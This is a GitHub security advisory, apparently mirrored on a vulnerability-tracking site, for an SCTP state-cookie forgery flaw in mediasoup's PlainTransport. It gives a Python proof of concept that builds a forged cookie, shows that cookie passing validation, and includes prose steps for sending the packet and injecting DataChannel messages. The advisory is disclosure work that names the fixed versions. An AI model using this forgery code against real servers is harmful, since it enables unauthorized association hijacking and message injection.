GHSA-P7X2-G5CQ-FHMQ
Vulnerability from github – Published: 2026-08-25 18:17 – Updated: 2026-08-25 18:17Summary
mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.
Details
RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):
- Offset 0: Magic1 =
"msworker"(hardcoded, 8 bytes) - Offset 8: localVerificationTag (4 bytes, attacker-controlled)
- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
- Offset 16-27: TSN and window fields (attacker-controlled)
- Offset 28: tieTag (8 bytes, attacker-controlled)
- Offset 36: NegotiatedCapabilitiesField containing Magic2 =
0xAD81(hardcoded)
The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:
1. bufferLength == 44
2. bytes[0:8] == "msworker" (Magic1, always the same)
3. ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)
No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.
When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:
if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())
Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.
Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.
This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.
PoC
Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.
The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:
#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)
Usage: python3 poc_cookie_forge.py
"""
import struct
# Attacker-chosen values -- all arbitrary
LOCAL_VT = 0xDEADBEEF # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0
# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)
# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'
# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)
# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)
# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)
# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)
# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)
# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)
# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0 # reserved
cookie[37] = 0 # bits
struct.pack_into('>H', cookie, 38, 0xAD81) # Magic2
struct.pack_into('>H', cookie, 40, 1024) # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024) # maxInboundStreams
# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
if len(buf) != 44:
return False
if buf[0:8] != b'msworker':
return False
magic2 = struct.unpack('>H', buf[38:40])[0]
if magic2 != 0xAD81:
return False
return True
assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"
# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)
print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag: {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")
Observed output when run:
=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag: 0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True
Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages
To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).
Impact
Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.20.5"
},
"package": {
"ecosystem": "npm",
"name": "mediasoup"
},
"ranges": [
{
"events": [
{
"introduced": "3.20.0"
},
{
"fixed": "3.20.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.22.4"
},
"package": {
"ecosystem": "crates.io",
"name": "mediasoup"
},
"ranges": [
{
"events": [
{
"introduced": "0.22.0"
},
{
"fixed": "0.22.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55663"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T18:17:21Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nmediasoup\u0027s built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.\n\n### Details\n\nRFC 9260 Section 5.1.3 states: \"An endpoint MUST use a one-time-use secret key to protect the State Cookie.\" The mediasoup implementation ignores this requirement. The state cookie is defined in `worker/include/RTC/SCTP/association/StateCookie.hpp` with the following structure (44 bytes total):\n\n- Offset 0: Magic1 = `\"msworker\"` (hardcoded, 8 bytes)\n- Offset 8: localVerificationTag (4 bytes, attacker-controlled)\n- Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)\n- Offset 16-27: TSN and window fields (attacker-controlled)\n- Offset 28: tieTag (8 bytes, attacker-controlled)\n- Offset 36: NegotiatedCapabilitiesField containing Magic2 = `0xAD81` (hardcoded)\n\nThe validation function `StateCookie::IsMediasoupStateCookie()` in `worker/src/RTC/SCTP/association/StateCookie.cpp` only checks:\n1. `bufferLength == 44`\n2. `bytes[0:8] == \"msworker\"` (Magic1, always the same)\n3. `ntohs(bytes[38:40]) == 0xAD81` (Magic2, always the same)\n\nNo HMAC, no per-session secret, no nonce. All \"magic\" values are published constants in the public header.\n\nWhen a COOKIE-ECHO is received in `Association::HandleReceivedCookieEchoChunk()` (without an existing TCB), the sole security check is:\n\n```cpp\nif (receivedPacket-\u003eGetVerificationTag() != cookie-\u003eGetLocalVerificationTag())\n```\n\nBecause the attacker controls both the SCTP packet header\u0027s verification tag field AND the `localVerificationTag` field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.\n\nAdditionally, `Association::ValidateReceivedPacket()` explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function `Packet::ValidateCRC32cChecksum()` exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.\n\nThis vulnerability affects `PlainTransport` with SCTP enabled when used without SRTP (SRTP is optional via `srtpCryptoSuite` parameter). `WebRtcTransport` is NOT affected because its SCTP runs inside a DTLS session. `comedia` mode (default: false) increases exposure by accepting packets from any source IP.\n\n### PoC\n\nPrerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (`srtpCryptoSuite` not set). The server\u0027s UDP IP:port must be reachable.\n\nThe following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nProof-of-concept: mediasoup SCTP state cookie forgery\nDemonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.\nRequires: struct (stdlib only)\n\nUsage: python3 poc_cookie_forge.py\n\"\"\"\nimport struct\n\n# Attacker-chosen values -- all arbitrary\nLOCAL_VT = 0xDEADBEEF # Will be put in SCTP packet\u0027s Verification Tag field\nREMOTE_VT = 0xCAFEBABE\nLOCAL_TSN = 1000\nREMOTE_TSN = 2000\nRWND = 65535\nTIE_TAG = 0\n\n# Build a 44-byte state cookie matching mediasoup\u0027s StateCookie layout\ncookie = bytearray(44)\n\n# Offset 0: Magic1 = \"msworker\" (0x6D73776F726B6572)\ncookie[0:8] = b\u0027msworker\u0027\n\n# Offset 8: localVerificationTag (big-endian)\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 8, LOCAL_VT)\n\n# Offset 12: remoteVerificationTag\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 12, REMOTE_VT)\n\n# Offset 16: localInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 16, LOCAL_TSN)\n\n# Offset 20: remoteInitialTsn\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 20, REMOTE_TSN)\n\n# Offset 24: remoteAdvertisedReceiverWindowCredit\nstruct.pack_into(\u0027\u003eI\u0027, cookie, 24, RWND)\n\n# Offset 28: tieTag (8 bytes)\nstruct.pack_into(\u0027\u003eQ\u0027, cookie, 28, TIE_TAG)\n\n# Offset 36: NegotiatedCapabilitiesField\n# [36]: reserved = 0\n# [37]: bits (ABCD flags) = 0\n# [38:40]: Magic2 = 0xAD81 (network byte order)\n# [40:42]: max outbound streams\n# [42:44]: max inbound streams\ncookie[36] = 0 # reserved\ncookie[37] = 0 # bits\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 38, 0xAD81) # Magic2\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 40, 1024) # maxOutboundStreams\nstruct.pack_into(\u0027\u003eH\u0027, cookie, 42, 1024) # maxInboundStreams\n\n# Reproduce StateCookie::IsMediasoupStateCookie() logic:\ndef is_mediasoup_state_cookie(buf):\n if len(buf) != 44:\n return False\n if buf[0:8] != b\u0027msworker\u0027:\n return False\n magic2 = struct.unpack(\u0027\u003eH\u0027, buf[38:40])[0]\n if magic2 != 0xAD81:\n return False\n return True\n\nassert is_mediasoup_state_cookie(cookie), \"Cookie rejected - BUG in PoC\"\n\n# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):\n# receivedPacket-\u003eGetVerificationTag() == cookie-\u003eGetLocalVerificationTag()\npacket_vt = LOCAL_VT\ncookie_local_vt = struct.unpack(\u0027\u003eI\u0027, cookie[8:12])[0]\nauth_passes = (packet_vt == cookie_local_vt)\n\nprint(\"=== mediasoup SCTP State Cookie Forgery PoC ===\")\nprint(f\"Forged cookie (hex): {cookie.hex()}\")\nprint(f\"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}\")\nprint(f\"localVerificationTag in cookie: {cookie_local_vt:#010x}\")\nprint(f\"SCTP packet verificationTag: {packet_vt:#010x}\")\nprint(f\"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}\")\nprint()\nprint(\"Result: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\")\nprint(\"Next step: attacker sends DATA chunks to inject DataChannel messages\")\n```\n\nObserved output when run:\n\n```\n=== mediasoup SCTP State Cookie Forgery PoC ===\nForged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400\nIsMediasoupStateCookie(): True\nlocalVerificationTag in cookie: 0xdeadbeef\nSCTP packet verificationTag: 0xdeadbeef\nHandleReceivedCookieEchoChunk auth check passes: True\n\nResult: COOKIE-ECHO accepted -\u003e SCTP association ESTABLISHED without 4-way handshake\nNext step: attacker sends DATA chunks to inject DataChannel messages\n```\n\nTo forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header\u0027s Verification Tag to `LOCAL_VT`, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if `comedia=true`).\n\n### Impact\n\nAny mediasoup deployment using `PlainTransport` with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport\u0027s configured peer address (or when `comedia` mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer\u0027s association.",
"id": "GHSA-p7x2-g5cq-fhmq",
"modified": "2026-08-25T18:17:21Z",
"published": "2026-08-25T18:17:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/versatica/mediasoup/security/advisories/GHSA-p7x2-g5cq-fhmq"
},
{
"type": "WEB",
"url": "https://github.com/versatica/mediasoup/pull/1829"
},
{
"type": "WEB",
"url": "https://github.com/versatica/mediasoup/commit/9c1a90a8f9206b965e727d134846fb42df4980a7"
},
{
"type": "PACKAGE",
"url": "https://github.com/versatica/mediasoup"
},
{
"type": "WEB",
"url": "https://github.com/versatica/mediasoup/releases/tag/3.20.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.